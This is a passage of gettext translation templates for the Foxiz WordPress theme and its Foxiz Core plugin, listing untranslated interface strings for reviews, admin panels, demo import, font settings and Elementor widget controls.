msgid "Post a Review" msgstr "" #: themes/foxiz/templates/single/review-comment.php:63 msgid "Your Email" msgstr "" #: themes/foxiz/templates/single/review-comment.php:69 msgid "Your website" msgstr "" #: themes/foxiz/templates/single/review-comment.php:86 msgid "Please select a rating!" msgstr "" #: themes/foxiz/templates/single/review-comment.php:97 msgid "Your comment" msgstr "" #: themes/foxiz/templates/single/reviews.php:54 #, php-format msgid "%s out of 10" msgstr "" #: themes/foxiz/templates/single/reviews.php:97 #, php-format msgid "%s out of 5" msgstr "" #: themes/foxiz/templates/single/reviews.php:175 msgid "Good Stuff" msgstr "" #: themes/foxiz/templates/single/reviews.php:189 msgid "Bad Stuff" msgstr "" #: themes/foxiz/templates/single/reviews.php:214 msgid "Summary" msgstr "" #: themes/foxiz/templates/single/reviews.php:242 msgid "User Votes" msgstr "" #: themes/foxiz/templates/single/reviews.php:245 msgid "vote" msgstr "" #: themes/foxiz/templates/single/reviews.php:247 msgid "votes" msgstr "" #: themes/foxiz/templates/single/templates.php:269 msgid "SHARE" msgstr "" #: themes/foxiz/templates/single/templates.php:323 #: themes/foxiz/templates/single/templates.php:1532 msgid "Share" msgstr "" #: themes/foxiz/templates/single/templates.php:456 msgid "Updated" msgstr "" #: themes/foxiz/templates/single/templates.php:564 msgid "Previous Page" msgstr "" #: themes/foxiz/templates/single/templates.php:580 msgid "Next Page" msgstr "" #: themes/foxiz/templates/single/templates.php:639 msgid "TAGGED:" msgstr "" #: themes/foxiz/templates/single/templates.php:670 msgid "SOURCES:" msgstr "" #: themes/foxiz/templates/single/templates.php:701 msgid "VIA:" msgstr "" #: themes/foxiz/templates/single/templates.php:753 msgid "What do you think?" msgstr "" #: themes/foxiz/templates/single/templates.php:808 msgid "Share this Article" msgstr "" #: themes/foxiz/templates/single/templates.php:886 #, php-format msgid "%s Reviews" msgstr "" #: themes/foxiz/templates/single/templates.php:888 msgid "1 Review" msgstr "" #: themes/foxiz/templates/single/templates.php:910 #, php-format msgid "%s Comments" msgstr "" #: themes/foxiz/templates/single/templates.php:912 msgid "1 Comment" msgstr "" #: themes/foxiz/templates/single/templates.php:942 msgid "Your review is awaiting moderation." msgstr "" #: themes/foxiz/templates/single/templates.php:944 msgid "" "Your review is awaiting moderation. This is a preview, your review will be " "visible after it has been approved." msgstr "" #: themes/foxiz/templates/single/templates.php:970 msgid "Edit" msgstr "" #: themes/foxiz/templates/single/templates.php:1016 msgid "Previous Article" msgstr "" #: themes/foxiz/templates/single/templates.php:1029 msgid "Next Article" msgstr "" #: themes/foxiz/templates/single/templates.php:1341 msgid "List of Images" msgstr "" #: themes/foxiz/templates/single/templates.php:1485 msgid "Reading:" msgstr "" #: themes/foxiz/templates/single/templates.php:1587 msgid "Section" msgstr "" #: themes/foxiz/templates/template-helpers.php:238 #: themes/foxiz/templates/template-helpers.php:382 msgid "Read More" msgstr "" languages/foxiz-core.pot000064400000530376147206624460011354 0ustar00#, fuzzy msgid "" msgstr "" "Project-Id-Version: Foxiz Core\n" "POT-Creation-Date: 2022-05-18 13:29+0700\n" "PO-Revision-Date: 2017-07-16 09:08+0700\n" "Last-Translator: \n" "Language-Team: Theme-Ruby \n" "Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: _x;__;_e;_nx:1,2;esc_html__;esc_html_e;esc_attr__;esc_attr_e;" "foxiz_html__;foxiz_html_e;foxiz_attr__;foxiz_attr_e\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SearchPathExcluded-1: composer\n" "X-Poedit-SearchPathExcluded-2: lib\n" "X-Poedit-SearchPathExcluded-3: rb-meta\n" "X-Poedit-SearchPathExcluded-4: amp\n" #: admin/core.php:54 msgid "Foxiz Admin" msgstr "" #: admin/core.php:168 admin/core.php:210 admin/core.php:267 admin/core.php:281 msgid "Sorry, you are not allowed to do this action." msgstr "" #: admin/core.php:173 msgid "Empty data! Please check input form." msgstr "" #: admin/core.php:178 msgid "Wrong email format! Please check input form." msgstr "" #: admin/core.php:240 msgid "Bad Request." msgstr "" #: admin/core.php:290 msgid "OK" msgstr "" #: admin/fonts/fonts.php:32 admin/fonts/fonts.php:33 msgid "Adobe Fonts" msgstr "" #: admin/fonts/fonts.php:39 admin/fonts/template.php:94 admin/translation/template.php:38 msgid "Save Changes" msgstr "" #: admin/fonts/fonts.php:40 msgid "Delete Project" msgstr "" #: admin/fonts/fonts.php:74 elementor/control.php:15 elementor/control.php:140 #: elementor/control.php:175 elementor/control.php:196 elementor/control.php:280 #: elementor/control.php:352 elementor/control.php:379 elementor/control.php:437 #: elementor/control.php:456 elementor/control.php:496 elementor/control.php:515 #: elementor/control.php:568 elementor/heading.php:108 elementor/hierarchical-1.php:354 #: elementor/hierarchical-1.php:364 elementor/hierarchical-2.php:326 #: elementor/hierarchical-2.php:336 elementor/hierarchical-3.php:341 #: elementor/hierarchical-3.php:351 elementor/overlay-1.php:333 elementor/overlay-2.php:437 #: elementor/quick-links.php:65 widgets/sb-post.php:95 msgid "- Default -" msgstr "" #: admin/fonts/fonts.php:86 msgid " - Italic" msgstr "" #: admin/fonts/fonts.php:88 msgid " - Normal" msgstr "" #: admin/fonts/init.php:130 msgid "Project ID is invalid. Please check again!" msgstr "" #: admin/fonts/init.php:134 msgid "Project is empty. Please add some fonts to your project." msgstr "" #: admin/fonts/init.php:138 msgid "Adobe Fonts have been successfully deleted." msgstr "" #: admin/fonts/init.php:142 msgid "Adobe Fonts have been successfully loaded." msgstr "" #: admin/fonts/init.php:149 msgid "Font settings have been successfully saved." msgstr "" #: admin/fonts/template.php:12 msgid "Adobe (TypeKit) Fonts" msgstr "" #: admin/fonts/template.php:13 msgid "" "The theme supports Adobe (TypeKit) Fonts. These settings below will override on Google " "Fonts settings in the Theme Options panel." msgstr "" #: admin/fonts/template.php:18 msgid "Project ID" msgstr "" #: admin/fonts/template.php:19 #, php-format msgid "" "You can find the Project ID here from your Typekit " "Account." msgstr "" #: admin/fonts/template.php:25 msgid "Edit Project ID" msgstr "" #: admin/fonts/template.php:36 msgid "Adobe Font Details" msgstr "" #: admin/fonts/template.php:37 msgid "The list below will display all fonts in your Adobe fonts account." msgstr "" #: admin/fonts/template.php:41 msgid "Emty project ID." msgstr "" #: admin/fonts/template.php:43 msgid "No webfont found in your project." msgstr "" #: admin/fonts/template.php:46 msgid "Fonts" msgstr "" #: admin/fonts/template.php:47 msgid "Font Family" msgstr "" #: admin/fonts/template.php:48 msgid "Weight & Style" msgstr "" #: admin/fonts/template.php:62 elementor/navigation.php:323 msgid "Font Settings" msgstr "" #: admin/fonts/template.php:63 msgid "" "These settings below will override on Google Fonts settings in the Theme Options panel." msgstr "" #: admin/fonts/template.php:71 msgid "H1 Tag" msgstr "" #: admin/fonts/template.php:72 msgid "H2 Tag" msgstr "" #: admin/fonts/template.php:73 msgid "H3 Tag" msgstr "" #: admin/fonts/template.php:74 msgid "H4 Tag" msgstr "" #: admin/fonts/template.php:75 msgid "H5 Tag" msgstr "" #: admin/fonts/template.php:76 msgid "H6 Tag" msgstr "" #: admin/fonts/template.php:77 msgid "Site Body" msgstr "" #: admin/import/ajax.php:116 msgid "Not found!" msgstr "" #: admin/import/import.php:38 admin/import/import.php:39 msgid "Demo Importer" msgstr "" #: admin/import/init.php:29 msgid "An error occurred during import." msgstr "" #: admin/import/lib/class-wp-import.php:116 admin/import/lib/class-wp-import.php:167 #: admin/import/lib/class-wp-import.php:171 admin/import/lib/class-wp-import.php:180 msgid "Sorry, there has been an error." msgstr "" #: admin/import/lib/class-wp-import.php:151 msgid "All done." msgstr "" #: admin/import/lib/class-wp-import.php:151 msgid "Have fun!" msgstr "" #: admin/import/lib/class-wp-import.php:152 msgid "Remember to update the passwords and roles of imported users." msgstr "" #: admin/import/lib/class-wp-import.php:172 #, php-format msgid "" "The export file could not be found at %s. It is likely that this was caused by " "a permissions problem." msgstr "" #: admin/import/lib/class-wp-import.php:188 #, php-format msgid "" "This WXR file (version %s) may not be supported by this version of the importer. Please " "consider updating." msgstr "" #: admin/import/lib/class-wp-import.php:213 #, php-format msgid "Failed to import author %s. Their posts will be attributed to the current user." msgstr "" #: admin/import/lib/class-wp-import.php:239 msgid "Assign Authors" msgstr "" #: admin/import/lib/class-wp-import.php:240 msgid "" "To make it simpler for you to edit and save the imported content, you may want to reassign " "the author of the imported item to an existing user of this site, such as your primary " "administrator account." msgstr "" #: admin/import/lib/class-wp-import.php:242 #, php-format msgid "" "If a new user is created by WordPress, a new password will be randomly generated and the " "new user’s role will be set as %s. Manually changing the new user’s details " "will be necessary." msgstr "" #: admin/import/lib/class-wp-import.php:252 msgid "Import Attachments" msgstr "" #: admin/import/lib/class-wp-import.php:255 msgid "Download and import file attachments" msgstr "" #: admin/import/lib/class-wp-import.php:259 msgid "Submit" msgstr "" #: admin/import/lib/class-wp-import.php:272 msgid "Import author:" msgstr "" #: admin/import/lib/class-wp-import.php:284 msgid "or create new user with login name:" msgstr "" #: admin/import/lib/class-wp-import.php:287 msgid "as a new user:" msgstr "" #: admin/import/lib/class-wp-import.php:297 msgid "assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:299 msgid "or assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:307 msgid "- Select -" msgstr "" #: admin/import/lib/class-wp-import.php:361 #, php-format msgid "Failed to create new user for %s. Their posts will be attributed to the current user." msgstr "" #: admin/import/lib/class-wp-import.php:413 #, php-format msgid "Failed to import category %s" msgstr "" #: admin/import/lib/class-wp-import.php:458 #, php-format msgid "Failed to import post tag %s" msgstr "" #: admin/import/lib/class-wp-import.php:513 admin/import/lib/class-wp-import.php:739 #, php-format msgid "Failed to import %s %s" msgstr "" #: admin/import/lib/class-wp-import.php:606 #, php-format msgid "Failed to import “%s”: Invalid post type %s" msgstr "" #: admin/import/lib/class-wp-import.php:643 #, php-format msgid "%s “%s” already exists." msgstr "" #: admin/import/lib/class-wp-import.php:705 #, php-format msgid "Failed to import %s “%s”" msgstr "" #: admin/import/lib/class-wp-import.php:879 msgid "Menu item skipped due to missing menu slug" msgstr "" #: admin/import/lib/class-wp-import.php:886 #, php-format msgid "Menu item skipped due to invalid menu slug: %s" msgstr "" #: admin/import/lib/class-wp-import.php:949 msgid "Fetching attachments is not enabled" msgstr "" #: admin/import/lib/class-wp-import.php:962 msgid "Invalid file type" msgstr "" #: admin/import/lib/class-wp-import.php:1001 msgid "Could not create temporary file." msgstr "" #: admin/import/lib/class-wp-import.php:1020 #, php-format msgid "Request failed due to an error: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1036 #, php-format msgid "Remote server returned the following unexpected result: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1048 msgid "Remote server did not respond" msgstr "" #: admin/import/lib/class-wp-import.php:1055 msgid "Zero size file downloaded" msgstr "" #: admin/import/lib/class-wp-import.php:1060 msgid "Downloaded file has incorrect size" msgstr "" #: admin/import/lib/class-wp-import.php:1066 #, php-format msgid "Remote file is too large, limit is %s" msgstr "" #: admin/import/lib/class-wp-import.php:1098 msgid "Sorry, this file type is not permitted for security reasons." msgstr "" #: admin/import/lib/class-wp-import.php:1113 msgid "The uploaded file could not be moved" msgstr "" #: admin/import/lib/class-wp-import.php:1225 msgid "Import WordPress" msgstr "" #: admin/import/lib/class-wp-import.php:1232 #, php-format msgid "" "A new version of this importer is available. Please update to version %s to ensure " "compatibility with newer export files." msgstr "" #: admin/import/lib/class-wp-import.php:1247 msgid "" "Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, " "pages, comments, custom fields, categories, and tags into this site." msgstr "" #: admin/import/lib/class-wp-import.php:1248 msgid "Choose a WXR (.xml) file to upload, then click Upload file and import." msgstr "" #: admin/import/lib/parsers/class-wxr-parser-regex.php:96 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:52 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:57 #: admin/import/lib/parsers/class-wxr-parser-xml.php:48 msgid "This does not appear to be a WXR file, missing/invalid WXR version number" msgstr "" #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:40 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:48 #: admin/import/lib/parsers/class-wxr-parser.php:42 msgid "There was an error when reading this WXR file" msgstr "" #: admin/import/lib/parsers/class-wxr-parser.php:43 msgid "Details are shown above. The importer will now try again with a different parser..." msgstr "" #: admin/import/parts.php:12 msgid "Select Content" msgstr "" #: admin/import/parts.php:15 msgid "All Demo Content" msgstr "" #: admin/import/parts.php:19 msgid "Content (Posts, Pages & Media)" msgstr "" #: admin/import/parts.php:22 msgid "Only Pages" msgstr "" #: admin/import/parts.php:25 admin/tops/tops.php:30 admin/tops/tops.php:31 #: widgets/sb-social-icon.php:98 msgid "Theme Options" msgstr "" #: admin/import/parts.php:28 msgid "Widgets" msgstr "" #: admin/import/parts.php:73 msgid "Activated" msgstr "" #: admin/import/parts.php:76 admin/templates/validate-redirect.php:9 msgid "Activate" msgstr "" #: admin/import/parts.php:93 msgid "Install Package" msgstr "" #: admin/import/parts.php:115 msgid "Install" msgstr "" #: admin/import/radium-importer.php:278 admin/import/radium-importer.php:415 msgid "Widget Import file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:319 msgid "Category settings file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:479 msgid "Sidebar does not exist in theme (using Inactive)" msgstr "" #: admin/import/radium-importer.php:501 msgid "Site does not support widget" msgstr "" #: admin/import/radium-importer.php:524 msgid "Widget already exists" msgstr "" #: admin/import/radium-importer.php:572 msgid "Imported" msgstr "" #: admin/import/radium-importer.php:575 msgid "Imported to Inactive" msgstr "" #: admin/import/radium-importer.php:581 msgid "No Title" msgstr "" #: admin/import/template.php:7 msgid "Sorry, you are not allowed to install demos on this site." msgstr "" #: admin/import/template.php:11 msgid "Something went wrong, Try to re-activate the theme again!" msgstr "" #: admin/import/template.php:18 msgid "Ruby Demo Importer" msgstr "" #: admin/import/template.php:41 msgid "Already Imported" msgstr "" #: admin/import/template.php:45 admin/import/template.php:69 msgid "Import Demo" msgstr "" #: admin/import/template.php:59 msgid "Recommended Plugins" msgstr "" #: admin/import/template.php:68 admin/import/template.php:74 msgid "Importing..." msgstr "" #: admin/import/template.php:70 admin/import/template.php:76 msgid "Import Complete" msgstr "" #: admin/import/template.php:75 msgid "Re-Import" msgstr "" #: admin/rb-meta/rb-meta.php:768 admin/rb-meta/rb-meta.php:788 admin/taxonomy.php:83 #: admin/taxonomy.php:98 admin/taxonomy.php:387 admin/taxonomy.php:415 msgid "Delete" msgstr "" #: admin/system-info/system-info.php:28 admin/system-info/system-info.php:29 msgid "System Info" msgstr "" #: admin/system-info/system-info.php:43 msgid "PHP Version" msgstr "" #: admin/system-info/system-info.php:47 msgid "" "WordPress recommended PHP version 7.0 or greater to get better performance for your site." msgstr "" #: admin/system-info/system-info.php:50 msgid "Memory Limit" msgstr "" #: admin/system-info/system-info.php:54 msgid "" "The memory_limit value is set low. The theme recommended this value to be at least 64MB for " "the theme in order to work." msgstr "" #: admin/system-info/system-info.php:57 msgid "Max Input Vars" msgstr "" #: admin/system-info/system-info.php:61 msgid "" "The max_input_vars value is set low. The theme recommended this value to be at least 3000." msgstr "" #: admin/system-info/system-info.php:64 msgid "Post Max Size" msgstr "" #: admin/system-info/system-info.php:68 admin/system-info/system-info.php:75 msgid "The post_max_size value is set low. We recommended this value to be at least 32M." msgstr "" #: admin/system-info/system-info.php:71 msgid "Max Upload Size" msgstr "" #: admin/system-info/system-info.php:86 msgid "WordPress Version" msgstr "" #: admin/system-info/system-info.php:90 msgid "Debug Mode" msgstr "" #: admin/system-info/system-info.php:93 msgid "" "Enabling WordPress debug mode might display details about your site's PHP code to visitors." msgstr "" #: admin/system-info/system-info.php:96 msgid "Debug Log" msgstr "" #: admin/system-info/system-info.php:100 msgid "Theme Name" msgstr "" #: admin/system-info/system-info.php:104 msgid "Theme Version" msgstr "" #: admin/system-info/system-info.php:108 msgid "Theme Author" msgstr "" #: admin/system-info/template.php:9 msgid "System Information" msgstr "" #: admin/system-info/template.php:10 msgid "" "This theme can work on all almost servers. However, we recommend following server settings " "as below if there have red values." msgstr "" #: admin/system-info/template.php:16 admin/templates/template-panel.php:69 msgid "PHP Information" msgstr "" #: admin/system-info/template.php:40 msgid "WordPress Info" msgstr "" #: admin/taxonomy.php:135 admin/taxonomy.php:391 msgid "Select File" msgstr "" #: admin/taxonomy.php:160 admin/taxonomy.php:419 msgid "Select Image" msgstr "" #: admin/templates/links.php:8 msgid "Online Documentation" msgstr "" #: admin/templates/links.php:9 msgid "Support Center" msgstr "" #: admin/templates/links.php:10 msgid "Themes" msgstr "" #: admin/templates/template-panel.php:10 msgid "Welcome to" msgstr "" #: admin/templates/template-panel.php:11 #, php-format msgid "Thank you for your awesome taste and choosing %s!" msgstr "" #: admin/templates/template-panel.php:19 #, php-format msgid "Activate %s" msgstr "" #: admin/templates/template-panel.php:20 #, php-format msgid "" "Please activate %s to unlock the full features of the theme and get access to premium " "dedicated support." msgstr "" #: admin/templates/template-panel.php:26 admin/templates/template-panel.php:54 msgid "Purchase Code" msgstr "" #: admin/templates/template-panel.php:27 msgid "Input purchase code..." msgstr "" #: admin/templates/template-panel.php:31 msgid "Support Email" msgstr "" #: admin/templates/template-panel.php:32 msgid "Input your email..." msgstr "" #: admin/templates/template-panel.php:36 msgid "Activate Theme" msgstr "" #: admin/templates/template-panel.php:38 msgid "How to find your purchase code?" msgstr "" #: admin/templates/template-panel.php:46 #, php-format msgid "%s is Activated" msgstr "" #: admin/templates/template-panel.php:48 #, php-format msgid "" "Thank you for choosing %s. Should you have any other concerns while using this theme, " "please feel free to contact us at any time via the above link." msgstr "" #: admin/templates/template-panel.php:58 msgid "Deactivate Theme" msgstr "" #: admin/templates/validate-redirect.php:10 msgid "" "Please activate your copy of the theme in order to get access to Import Demos panel and " "Theme Options." msgstr "" #: admin/templates/validate-redirect.php:15 msgid "Go to Activate Page" msgstr "" #: admin/translation/template.php:10 admin/translation/translation.php:31 #: admin/translation/translation.php:32 msgid "Quick Translation" msgstr "" #: admin/translation/template.php:11 msgid "Search and find the string you would like to translate." msgstr "" #: admin/translation/template.php:19 msgid "Fetch Translation Data" msgstr "" #: admin/translation/template.php:22 msgid "POT files not found." msgstr "" #: admin/translation/template.php:25 msgid "Re-fetch Translation Data" msgstr "" #: e-template/init.php:206 e-template/init.php:208 msgid "Ruby Templates" msgstr "" #: e-template/init.php:207 msgid "All Templates" msgstr "" #: e-template/init.php:209 msgid "Template" msgstr "" #: e-template/init.php:210 msgid "Add Template" msgstr "" #: e-template/init.php:211 msgid "New Template" msgstr "" #: e-template/init.php:212 e-template/init.php:213 msgid "Add New Template" msgstr "" #: e-template/init.php:214 msgid "Edit Template" msgstr "" #: e-template/init.php:215 msgid "No template item found." msgstr "" #: e-template/init.php:216 msgid "No template item found in Trash." msgstr "" #: e-template/init.php:249 msgid "Template Shortcode" msgstr "" #: elementor/ad-image.php:26 msgid "Foxiz - Ad Image" msgstr "" #: elementor/ad-image.php:42 elementor/ad-script.php:43 elementor/banner.php:43 #: elementor/heading.php:43 elementor/login-icon.php:42 elementor/notification-icon.php:42 #: elementor/plan.php:42 elementor/quick-links.php:46 elementor/search-icon.php:42 #: elementor/weather.php:43 msgid "General Settings" msgstr "" #: elementor/ad-image.php:49 elementor/ad-script.php:50 elementor/banner.php:60 #: elementor/newsletter-1.php:66 elementor/newsletter-2.php:66 elementor/newsletter-3.php:67 #: elementor/plan.php:59 widgets/banner.php:58 widgets/fw-mc.php:57 #: widgets/sb-ad-script.php:50 msgid "Description" msgstr "" #: elementor/ad-image.php:51 elementor/ad-script.php:52 msgid "Input a description for this adverting box." msgstr "" #: elementor/ad-image.php:52 elementor/ad-script.php:53 widgets/sb-ad-image.php:15 #: widgets/sb-ad-script.php:15 msgid "- Advertisement -" msgstr "" #: elementor/ad-image.php:58 msgid "Ad Image" msgstr "" #: elementor/ad-image.php:59 msgid "Upload your ad image." msgstr "" #: elementor/ad-image.php:66 msgid "Dark Mode - Ad Image" msgstr "" #: elementor/ad-image.php:67 msgid "Upload your ad image in the dark mode." msgstr "" #: elementor/ad-image.php:74 msgid "Ad Destination" msgstr "" #: elementor/ad-image.php:76 msgid "Input your ad destination URL." msgstr "" #: elementor/ad-image.php:83 elementor/ad-image.php:90 msgid "Image Max Width" msgstr "" #: elementor/ad-image.php:92 msgid "Input a max width value (in px) for your ad image, leave blank set full size." msgstr "" #: elementor/ad-image.php:102 elementor/ad-image.php:117 elementor/ad-script.php:112 #: elementor/ad-script.php:128 elementor/banner.php:154 elementor/banner.php:169 #: elementor/breaking-news.php:274 elementor/breaking-news.php:289 #: elementor/categories-1.php:170 elementor/categories-1.php:186 #: elementor/categories-5.php:151 elementor/categories-5.php:167 elementor/classic-1.php:574 #: elementor/classic-1.php:589 elementor/covid-data.php:108 elementor/covid-data.php:124 #: elementor/grid-1.php:611 elementor/grid-1.php:626 elementor/grid-2.php:610 #: elementor/grid-2.php:625 elementor/grid-box-1.php:610 elementor/grid-box-1.php:625 #: elementor/grid-box-2.php:610 elementor/grid-box-2.php:625 elementor/grid-small-1.php:619 #: elementor/grid-small-1.php:634 elementor/heading.php:270 elementor/heading.php:287 #: elementor/hierarchical-1.php:494 elementor/hierarchical-1.php:509 #: elementor/hierarchical-2.php:448 elementor/hierarchical-2.php:463 elementor/list-1.php:608 #: elementor/list-1.php:623 elementor/list-2.php:592 elementor/list-2.php:607 #: elementor/list-box-1.php:607 elementor/list-box-1.php:622 elementor/list-box-2.php:607 #: elementor/list-box-2.php:622 elementor/list-small-1.php:458 elementor/list-small-1.php:473 #: elementor/list-small-2.php:526 elementor/list-small-2.php:541 #: elementor/list-small-3.php:498 elementor/list-small-3.php:513 elementor/navigation.php:309 #: elementor/newsletter-1.php:157 elementor/newsletter-1.php:173 #: elementor/newsletter-2.php:166 elementor/newsletter-2.php:182 #: elementor/newsletter-3.php:148 elementor/newsletter-3.php:164 #: elementor/notification-icon.php:196 elementor/plan.php:298 elementor/plan.php:313 #: elementor/quick-links.php:110 elementor/quick-links.php:127 elementor/search-icon.php:201 #: elementor/social-follower.php:255 elementor/social-follower.php:270 #: elementor/weather.php:114 elementor/weather.php:129 widgets/banner.php:81 msgid "Text Color Scheme" msgstr "" #: elementor/ad-image.php:121 elementor/ad-script.php:132 elementor/banner.php:173 #: elementor/breaking-news.php:293 elementor/categories-1.php:190 #: elementor/categories-5.php:171 elementor/classic-1.php:593 elementor/covid-data.php:128 #: elementor/grid-1.php:630 elementor/grid-2.php:629 elementor/grid-box-1.php:629 #: elementor/grid-box-2.php:629 elementor/grid-small-1.php:638 elementor/heading.php:291 #: elementor/hierarchical-1.php:513 elementor/hierarchical-2.php:467 elementor/list-1.php:627 #: elementor/list-2.php:611 elementor/list-box-1.php:626 elementor/list-box-2.php:626 #: elementor/list-small-1.php:477 elementor/list-small-2.php:545 #: elementor/list-small-3.php:517 elementor/navigation.php:313 elementor/newsletter-1.php:177 #: elementor/newsletter-2.php:186 elementor/newsletter-3.php:168 #: elementor/notification-icon.php:200 elementor/plan.php:317 elementor/quick-links.php:131 #: elementor/search-icon.php:205 elementor/social-follower.php:274 elementor/weather.php:133 msgid "Default (Dark Text)" msgstr "" #: elementor/ad-image.php:122 elementor/ad-script.php:133 elementor/banner.php:174 #: elementor/breaking-news.php:294 elementor/categories-1.php:191 #: elementor/categories-5.php:172 elementor/classic-1.php:594 elementor/covid-data.php:129 #: elementor/grid-1.php:631 elementor/grid-2.php:630 elementor/grid-box-1.php:630 #: elementor/grid-box-2.php:630 elementor/grid-small-1.php:639 elementor/heading.php:292 #: elementor/hierarchical-1.php:514 elementor/hierarchical-2.php:468 elementor/list-1.php:628 #: elementor/list-2.php:612 elementor/list-box-1.php:627 elementor/list-box-2.php:627 #: elementor/list-small-1.php:478 elementor/list-small-2.php:546 #: elementor/list-small-3.php:518 elementor/navigation.php:314 elementor/newsletter-1.php:178 #: elementor/newsletter-2.php:187 elementor/newsletter-3.php:169 #: elementor/notification-icon.php:201 elementor/plan.php:318 elementor/quick-links.php:132 #: elementor/search-icon.php:206 elementor/social-follower.php:275 elementor/weather.php:134 #: widgets/banner.php:84 widgets/fw-mc.php:73 msgid "Light Text" msgstr "" #: elementor/ad-script.php:26 msgid "Foxiz - Ad Script" msgstr "" #: elementor/ad-script.php:59 widgets/sb-ad-script.php:57 msgid "Ad/Adsense Code" msgstr "" #: elementor/ad-script.php:61 widgets/sb-ad-script.php:58 msgid "" "Input your custom ad or Adsense code. Use Adsense units code to ensure it display exactly " "where you put. The widget will not work if you are using auto ads." msgstr "" #: elementor/ad-script.php:68 widgets/sb-ad-script.php:65 msgid "Ad Size" msgstr "" #: elementor/ad-script.php:70 msgid "Select a custom size for this ad if you use adsense ad units." msgstr "" #: elementor/ad-script.php:72 widgets/sb-ad-script.php:68 msgid "Do not Override" msgstr "" #: elementor/ad-script.php:73 widgets/sb-ad-script.php:69 msgid "Custom Size Below" msgstr "" #: elementor/ad-script.php:82 widgets/sb-ad-script.php:77 msgid "Size on Desktop" msgstr "" #: elementor/ad-script.php:84 msgid "Select a size on the desktop device." msgstr "" #: elementor/ad-script.php:92 widgets/sb-ad-script.php:86 msgid "Size on Tablet" msgstr "" #: elementor/ad-script.php:94 msgid "Select a size on the tablet device." msgstr "" #: elementor/ad-script.php:102 widgets/sb-ad-script.php:95 msgid "Size on Mobile" msgstr "" #: elementor/ad-script.php:104 msgid "Select a size on the mobile device." msgstr "" #: elementor/banner.php:26 msgid "Foxiz - Sidebar Banner" msgstr "" #: elementor/banner.php:50 elementor/heading.php:50 elementor/plan.php:49 #: elementor/weather.php:51 widgets/banner.php:51 widgets/fw-mc.php:50 #: widgets/sb-ad-image.php:48 widgets/sb-address.php:52 widgets/sb-facebook.php:45 #: widgets/sb-flickr.php:48 widgets/sb-follower.php:65 widgets/sb-instagram.php:50 #: widgets/sb-post.php:56 widgets/sb-social-icon.php:70 widgets/sb-tweet.php:51 #: widgets/sb-weather.php:49 widgets/sb-youtube.php:46 msgid "Title" msgstr "" #: elementor/banner.php:53 elementor/plan.php:52 msgid "Input a title for this banner." msgstr "" #: elementor/banner.php:63 msgid "Input a description for this banner." msgstr "" #: elementor/banner.php:70 widgets/banner.php:93 msgid "Button Destination URL" msgstr "" #: elementor/banner.php:78 widgets/banner.php:100 msgid "Button Label" msgstr "" #: elementor/banner.php:86 widgets/banner.php:65 widgets/fw-mc.php:89 msgid "Background Image URL" msgstr "" #: elementor/banner.php:87 widgets/banner.php:66 msgid "Input a background image (attachment URL) for this banner." msgstr "" #: elementor/banner.php:94 widgets/banner.php:73 msgid "Dark Mode - Background Image URL" msgstr "" #: elementor/banner.php:95 widgets/banner.php:74 msgid "Input a background image (attachment URL) for this banner in the dark mode." msgstr "" #: elementor/banner.php:102 elementor/categories-1.php:299 elementor/categories-2.php:280 #: elementor/categories-3.php:298 elementor/categories-4.php:270 #: elementor/categories-5.php:280 elementor/classic-1.php:700 elementor/grid-1.php:738 #: elementor/grid-2.php:736 elementor/grid-box-1.php:780 elementor/grid-box-2.php:736 #: elementor/grid-small-1.php:745 elementor/hierarchical-1.php:561 #: elementor/hierarchical-2.php:515 elementor/hierarchical-3.php:520 elementor/list-1.php:726 #: elementor/list-2.php:718 elementor/list-box-1.php:769 elementor/list-box-2.php:769 #: elementor/list-small-1.php:613 elementor/list-small-2.php:652 #: elementor/list-small-3.php:624 elementor/overlay-1.php:599 elementor/overlay-2.php:703 #: elementor/plan.php:279 elementor/plan.php:286 msgid "Spacing" msgstr "" #: elementor/banner.php:109 elementor/newsletter-2.php:127 msgid "Inner Padding" msgstr "" #: elementor/banner.php:111 msgid "Input a custom inner padding value this block." msgstr "" #: elementor/banner.php:123 elementor/grid-1.php:583 elementor/grid-2.php:582 #: elementor/grid-box-1.php:582 elementor/grid-box-2.php:582 elementor/grid-small-1.php:591 #: elementor/heading.php:142 elementor/list-small-1.php:448 elementor/list-small-2.php:498 #: elementor/list-small-3.php:488 elementor/login-icon.php:80 elementor/overlay-1.php:463 #: elementor/overlay-2.php:567 elementor/plan.php:224 msgid "Font Size" msgstr "" #: elementor/banner.php:130 elementor/categories-1.php:122 elementor/categories-2.php:122 #: elementor/categories-3.php:122 elementor/categories-4.php:122 #: elementor/categories-5.php:121 elementor/classic-1.php:475 elementor/grid-1.php:475 #: elementor/grid-2.php:474 elementor/grid-box-1.php:474 elementor/grid-box-2.php:474 #: elementor/grid-small-1.php:483 elementor/hierarchical-1.php:386 #: elementor/hierarchical-2.php:358 elementor/hierarchical-3.php:373 elementor/list-1.php:509 #: elementor/list-2.php:493 elementor/list-box-1.php:508 elementor/list-box-2.php:508 #: elementor/list-small-1.php:340 elementor/list-small-2.php:390 #: elementor/list-small-3.php:380 elementor/newsletter-1.php:137 #: elementor/newsletter-2.php:146 elementor/newsletter-3.php:120 elementor/overlay-1.php:355 #: elementor/overlay-2.php:459 msgid "Title Font Size" msgstr "" #: elementor/banner.php:132 msgid "Input a custom font size (in px) for the title." msgstr "" #: elementor/banner.php:142 elementor/newsletter-1.php:146 elementor/newsletter-2.php:155 #: elementor/newsletter-3.php:129 elementor/plan.php:243 msgid "Description Font Size" msgstr "" #: elementor/banner.php:144 elementor/plan.php:245 elementor/plan.php:257 msgid "Input a custom font size (in px) for the description." msgstr "" #: 